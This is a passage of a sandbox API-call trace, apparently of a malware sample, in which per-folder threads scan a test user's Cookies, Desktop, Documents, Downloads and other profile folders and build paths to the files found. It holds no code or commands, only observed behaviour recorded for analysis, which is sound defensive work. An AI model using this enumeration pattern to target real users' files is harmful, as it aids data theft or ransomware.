	[0084.942] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df7d58) returned 1
	[0084.942] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dacdb8) returned 1
	[0084.942] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70a80) returned 1

Thread:
	id = 381
	os_tid = 0x151c

	[0076.925] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2dacdf8
	[0076.925] wcscpy (in: _Dest=0x2dacdf8, _Source="C:\\Users\\FD1HVy\\Cookies" | out: _Dest="C:\\Users\\FD1HVy\\Cookies") returned="C:\\Users\\FD1HVy\\Cookies"
	[0076.925] wcscat (in: _Dest=0x2dacdf8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Cookies\\") returned="C:\\Users\\FD1HVy\\Cookies\\"
	[0076.925] wcscat (in: _Dest=0x2dacdf8, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Cookies\\*") returned="C:\\Users\\FD1HVy\\Cookies\\*"
	[0076.925] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df7888
	[0076.925] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Cookies\\*", lpFindFileData=0x2df7888 | out: lpFindFileData=0x2df7888*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0077.855] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df7888) returned 1
	[0077.855] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dacdf8) returned 1
	[0077.855] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e3a1f8) returned 1

Thread:
	id = 382
	os_tid = 0x1520

	[0076.926] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2dace38
	[0076.926] wcscpy (in: _Dest=0x2dace38, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop"
	[0076.926] wcscat (in: _Dest=0x2dace38, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\"
	[0076.926] wcscat (in: _Dest=0x2dace38, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\*") returned="C:\\Users\\FD1HVy\\Desktop\\*"
	[0076.926] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df7af0
	[0076.926] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\*", lpFindFileData=0x2df7af0 | out: lpFindFileData=0x2df7af0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x850e9e56, ftLastAccessTime.dwHighDateTime=0x1d5da5f, ftLastWriteTime.dwLowDateTime=0x850e9e56, ftLastWriteTime.dwHighDateTime=0x1d5da5f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad5f8
	[0079.345] wcscmp (_String1=".", _String2=".") returned 0
	[0079.345] FindNextFileW (in: hFindFile=0x2dad5f8, lpFindFileData=0x2df7af0 | out: lpFindFileData=0x2df7af0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x850e9e56, ftLastAccessTime.dwHighDateTime=0x1d5da5f, ftLastWriteTime.dwLowDateTime=0x850e9e56, ftLastWriteTime.dwHighDateTime=0x1d5da5f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.345] wcscmp (_String1="..", _String2=".") returned 1
	[0079.345] wcscmp (_String1="..", _String2="..") returned 0
	[0079.345] FindNextFileW (in: hFindFile=0x2dad5f8, lpFindFileData=0x2df7af0 | out: lpFindFileData=0x2df7af0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b0a59a0, ftCreationTime.dwHighDateTime=0x1d5d381, ftLastAccessTime.dwLowDateTime=0x77d7c330, ftLastAccessTime.dwHighDateTime=0x1d5d23b, ftLastWriteTime.dwLowDateTime=0x77d7c330, ftLastWriteTime.dwHighDateTime=0x1d5d23b, nFileSizeHigh=0x0, nFileSizeLow=0x14702, dwReserved0=0x0, dwReserved1=0x0, cFileName="-vGuh4voYdZ6.mp4", cAlternateFileName="-VGUH4~1.MP4")) returned 1
	[0079.345] wcscmp (_String1="-vGuh4voYdZ6.mp4", _String2=".") returned -1
	[0079.345] wcscmp (_String1="-vGuh4voYdZ6.mp4", _String2="..") returned -1
	[0079.345] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x52) returned 0x2daee28
	[0079.345] wcscpy (in: _Dest=0x2daee28, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop"
	[0079.345] wcscat (in: _Dest=0x2daee28, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\"
	[0079.345] wcscat (in: _Dest=0x2daee28, _Source="-vGuh4voYdZ6.mp4" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\-vGuh4voYdZ6.mp4") returned="C:\\Users\\FD1HVy\\Desktop\\-vGuh4voYdZ6.mp4"

Thread:
	id = 383
	os_tid = 0x1524

	[0076.927] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x38) returned 0x2dace78
	[0076.927] wcscpy (in: _Dest=0x2dace78, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents"
	[0076.927] wcscat (in: _Dest=0x2dace78, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\"
	[0076.927] wcscat (in: _Dest=0x2dace78, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\*") returned="C:\\Users\\FD1HVy\\Documents\\*"
	[0076.927] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df7fc0
	[0076.927] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\*", lpFindFileData=0x2df7fc0 | out: lpFindFileData=0x2df7fc0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x39c7de02, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x39c7de02, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad678
	[0079.346] wcscmp (_String1=".", _String2=".") returned 0
	[0079.346] FindNextFileW (in: hFindFile=0x2dad678, lpFindFileData=0x2df7fc0 | out: lpFindFileData=0x2df7fc0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x39c7de02, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x39c7de02, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.346] wcscmp (_String1="..", _String2=".") returned 1
	[0079.346] wcscmp (_String1="..", _String2="..") returned 0
	[0079.346] FindNextFileW (in: hFindFile=0x2dad678, lpFindFileData=0x2df7fc0 | out: lpFindFileData=0x2df7fc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8b7ad60, ftCreationTime.dwHighDateTime=0x1d59471, ftLastAccessTime.dwLowDateTime=0x3e89b8a0, ftLastAccessTime.dwHighDateTime=0x1d5bf11, ftLastWriteTime.dwLowDateTime=0x3e89b8a0, ftLastWriteTime.dwHighDateTime=0x1d5bf11, nFileSizeHigh=0x0, nFileSizeLow=0x94eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="568H-Zc_i.pptx", cAlternateFileName="568H-Z~1.PPT")) returned 1
	[0079.346] wcscmp (_String1="568H-Zc_i.pptx", _String2=".") returned 1
	[0079.346] wcscmp (_String1="568H-Zc_i.pptx", _String2="..") returned 1
	[0079.346] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x52) returned 0x2daf248
	[0079.346] wcscpy (in: _Dest=0x2daf248, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents"
	[0079.346] wcscat (in: _Dest=0x2daf248, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\"
	[0079.346] wcscat (in: _Dest=0x2daf248, _Source="568H-Zc_i.pptx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\568H-Zc_i.pptx") returned="C:\\Users\\FD1HVy\\Documents\\568H-Zc_i.pptx"

Thread:
	id = 384
	os_tid = 0x1528

	[0076.927] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x38) returned 0x2daceb8
	[0076.928] wcscpy (in: _Dest=0x2daceb8, _Source="C:\\Users\\FD1HVy\\Downloads" | out: _Dest="C:\\Users\\FD1HVy\\Downloads") returned="C:\\Users\\FD1HVy\\Downloads"
	[0076.928] wcscat (in: _Dest=0x2daceb8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Downloads\\") returned="C:\\Users\\FD1HVy\\Downloads\\"
	[0076.928] wcscat (in: _Dest=0x2daceb8, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Downloads\\*") returned="C:\\Users\\FD1HVy\\Downloads\\*"
	[0076.928] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df8228
	[0076.928] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Downloads\\*", lpFindFileData=0x2df8228 | out: lpFindFileData=0x2df8228*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xa2dc870b, ftLastAccessTime.dwHighDateTime=0x1d5d80c, ftLastWriteTime.dwLowDateTime=0xa2dc870b, ftLastWriteTime.dwHighDateTime=0x1d5d80c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad6f8
	[0079.347] wcscmp (_String1=".", _String2=".") returned 0
	[0079.347] FindNextFileW (in: hFindFile=0x2dad6f8, lpFindFileData=0x2df8228 | out: lpFindFileData=0x2df8228*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xa2dc870b, ftLastAccessTime.dwHighDateTime=0x1d5d80c, ftLastWriteTime.dwLowDateTime=0xa2dc870b, ftLastWriteTime.dwHighDateTime=0x1d5d80c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.347] wcscmp (_String1="..", _String2=".") returned 1
	[0079.347] wcscmp (_String1="..", _String2="..") returned 0
	[0079.347] FindNextFileW (in: hFindFile=0x2dad6f8, lpFindFileData=0x2df8228 | out: lpFindFileData=0x2df8228*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44137e3b, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce3d633b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0079.347] wcscmp (_String1="desktop.ini", _String2=".") returned 1
	[0079.347] wcscmp (_String1="desktop.ini", _String2="..") returned 1
	[0079.347] FindNextFileW (in: hFindFile=0x2dad6f8, lpFindFileData=0x2df8228 | out: lpFindFileData=0x2df8228*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44137e3b, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce3d633b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0079.347] FindClose (in: hFindFile=0x2dad6f8 | out: hFindFile=0x2dad6f8) returned 1
	[0079.347] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df8228) returned 1
	[0079.347] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daceb8) returned 1
	[0079.347] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70c80) returned 1

Thread:
	id = 385
	os_tid = 0x152c

	[0076.928] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x38) returned 0x2dacff8
	[0076.928] wcscpy (in: _Dest=0x2dacff8, _Source="C:\\Users\\FD1HVy\\Favorites" | out: _Dest="C:\\Users\\FD1HVy\\Favorites") returned="C:\\Users\\FD1HVy\\Favorites"
	[0076.928] wcscat (in: _Dest=0x2dacff8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Favorites\\") returned="C:\\Users\\FD1HVy\\Favorites\\"
	[0076.928] wcscat (in: _Dest=0x2dacff8, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Favorites\\*") returned="C:\\Users\\FD1HVy\\Favorites\\*"
	[0076.928] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df86f8
	[0076.929] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Favorites\\*", lpFindFileData=0x2df86f8 | out: lpFindFileData=0x2df86f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd4499d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477ae28
	[0084.353] wcscmp (_String1=".", _String2=".") returned 0
	[0084.353] FindNextFileW (in: hFindFile=0x477ae28, lpFindFileData=0x2df86f8 | out: lpFindFileData=0x2df86f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd4499d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.353] wcscmp (_String1="..", _String2=".") returned 1
	[0084.353] wcscmp (_String1="..", _String2="..") returned 0
	[0084.353] FindNextFileW (in: hFindFile=0x477ae28, lpFindFileData=0x2df86f8 | out: lpFindFileData=0x2df86f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43598c8e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43b9f870, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x43b9f870, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bing.url", cAlternateFileName="")) returned 1
	[0084.353] wcscmp (_String1="Bing.url", _String2=".") returned 1
	[0084.353] wcscmp (_String1="Bing.url", _String2="..") returned 1
	[0084.353] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x46) returned 0x4775de0
	[0084.353] wcscpy (in: _Dest=0x4775de0, _Source="C:\\Users\\FD1HVy\\Favorites" | out: _Dest="C:\\Users\\FD1HVy\\Favorites") returned="C:\\Users\\FD1HVy\\Favorites"
	[0084.353] wcscat (in: _Dest=0x4775de0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Favorites\\") returned="C:\\Users\\FD1HVy\\Favorites\\"
	[0084.353] wcscat (in: _Dest=0x4775de0, _Source="Bing.url" | out: _Dest="C:\\Users\\FD1HVy\\Favorites\\Bing.url") returned="C:\\Users\\FD1HVy\\Favorites\\Bing.url"

Thread:
	id = 386
	os_tid = 0x1530

	[0076.929] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x30) returned 0x498e5b0
	[0076.929] wcscpy (in: _Dest=0x498e5b0, _Source="C:\\Users\\FD1HVy\\Links" | out: _Dest="C:\\Users\\FD1HVy\\Links") returned="C:\\Users\\FD1HVy\\Links"
	[0076.929] wcscat (in: _Dest=0x498e5b0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Links\\") returned="C:\\Users\\FD1HVy\\Links\\"
	[0076.929] wcscat (in: _Dest=0x498e5b0, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Links\\*") returned="C:\\Users\\FD1HVy\\Links\\*"
	[0076.929] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df8e30
	[0076.929] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Links\\*", lpFindFileData=0x2df8e30 | out: lpFindFileData=0x2df8e30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9463e5c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9463e5c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a9e8
	[0084.354] wcscmp (_String1=".", _String2=".") returned 0
	[0084.354] FindNextFileW (in: hFindFile=0x477a9e8, lpFindFileData=0x2df8e30 | out: lpFindFileData=0x2df8e30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9463e5c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9463e5c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.354] wcscmp (_String1="..", _String2=".") returned 1
	[0084.354] wcscmp (_String1="..", _String2="..") returned 0
	[0084.354] FindNextFileW (in: hFindFile=0x477a9e8, lpFindFileData=0x2df8e30 | out: lpFindFileData=0x2df8e30*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x441f699e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x441f699e, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xcee4480b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0084.354] wcscmp (_String1="desktop.ini", _String2=".") returned 1
	[0084.354] wcscmp (_String1="desktop.ini", _String2="..") returned 1
	[0084.354] FindNextFileW (in: hFindFile=0x477a9e8, lpFindFileData=0x2df8e30 | out: lpFindFileData=0x2df8e30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4428f2bb, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x4428f2bb, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce90d59d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1
	[0084.354] wcscmp (_String1="Desktop.lnk", _String2=".") returned 1
	[0084.354] wcscmp (_String1="Desktop.lnk", _String2="..") returned 1
	[0084.354] FindNextFileW (in: hFindFile=0x477a9e8, lpFindFileData=0x2df8e30 | out: lpFindFileData=0x2df8e30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x442b54f3, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x442b54f3, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xcec7abde, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x3ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1
	[0084.354] wcscmp (_String1="Downloads.lnk", _String2=".") returned 1
	[0084.354] wcscmp (_String1="Downloads.lnk", _String2="..") returned 1
	[0084.354] FindNextFileW (in: hFindFile=0x477a9e8, lpFindFileData=0x2df8e30 | out: lpFindFileData=0x2df8e30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3190fb5, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x9463e5c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x94664823, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x53a, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrive.lnk", cAlternateFileName="")) returned 1
	[0084.354] wcscmp (_String1="OneDrive.lnk", _String2=".") returned 1
	[0084.354] wcscmp (_String1="OneDrive.lnk", _String2="..") returned 1
	[0084.354] FindNextFileW (in: hFindFile=0x477a9e8, lpFindFileData=0x2df8e30 | out: lpFindFileData=0x2df8e30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3190fb5, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x9463e5c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x94664823, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x53a, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrive.lnk", cAlternateFileName="")) returned 0
	[0084.354] FindClose (in: hFindFile=0x477a9e8 | out: hFindFile=0x477a9e8) returned 1
	[0084.354] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df8e30) returned 1
	[0084.354] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498e5b0) returned 1
	[0084.354] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e3a0a8) returned 1

Thread:
	id = 387
	os_tid = 0x1534

	[0076.930] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x42) returned 0x2dffe10
	[0076.930] wcscpy (in: _Dest=0x2dffe10, _Source="C:\\Users\\FD1HVy\\Local Settings" | out: _Dest="C:\\Users\\FD1HVy\\Local Settings") returned="C:\\Users\\FD1HVy\\Local Settings"
	[0076.930] wcscat (in: _Dest=0x2dffe10, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Local Settings\\") returned="C:\\Users\\FD1HVy\\Local Settings\\"
	[0076.930] wcscat (in: _Dest=0x2dffe10, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Local Settings\\*") returned="C:\\Users\\FD1HVy\\Local Settings\\*"
	[0076.930] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df9098
	[0076.930] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Local Settings\\*", lpFindFileData=0x2df9098 | out: lpFindFileData=0x2df9098*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0077.863] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df9098) returned 1
	[0077.863] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dffe10) returned 1
	[0077.863] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73e88) returned 1

Thread:
	id = 388
	os_tid = 0x1538

	[0076.932] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x30) returned 0x498e658
	[0076.932] wcscpy (in: _Dest=0x498e658, _Source="C:\\Users\\FD1HVy\\Music" | out: _Dest="C:\\Users\\FD1HVy\\Music") returned="C:\\Users\\FD1HVy\\Music"
	[0076.932] wcscat (in: _Dest=0x498e658, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\") returned="C:\\Users\\FD1HVy\\Music\\"
	[0076.932] wcscat (in: _Dest=0x498e658, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Music\\*") returned="C:\\Users\\FD1HVy\\Music\\*"
	[0076.932] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df9300
	[0076.932] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\*", lpFindFileData=0x2df9300 | out: lpFindFileData=0x2df9300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x39cca1bb, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x39cca1bb, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2daceb8
	[0079.348] wcscmp (_String1=".", _String2=".") returned 0
	[0079.348] FindNextFileW (in: hFindFile=0x2daceb8, lpFindFileData=0x2df9300 | out: lpFindFileData=0x2df9300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x39cca1bb, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x39cca1bb, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.348] wcscmp (_String1="..", _String2=".") returned 1
	[0079.348] wcscmp (_String1="..", _String2="..") returned 0
	[0079.348] FindNextFileW (in: hFindFile=0x2daceb8, lpFindFileData=0x2df9300 | out: lpFindFileData=0x2df9300*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x4409f518, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x4409f518, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce3d633b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0079.349] wcscmp (_String1="desktop.ini", _String2=".") returned 1
	[0079.349] wcscmp (_String1="desktop.ini", _String2="..") returned 1
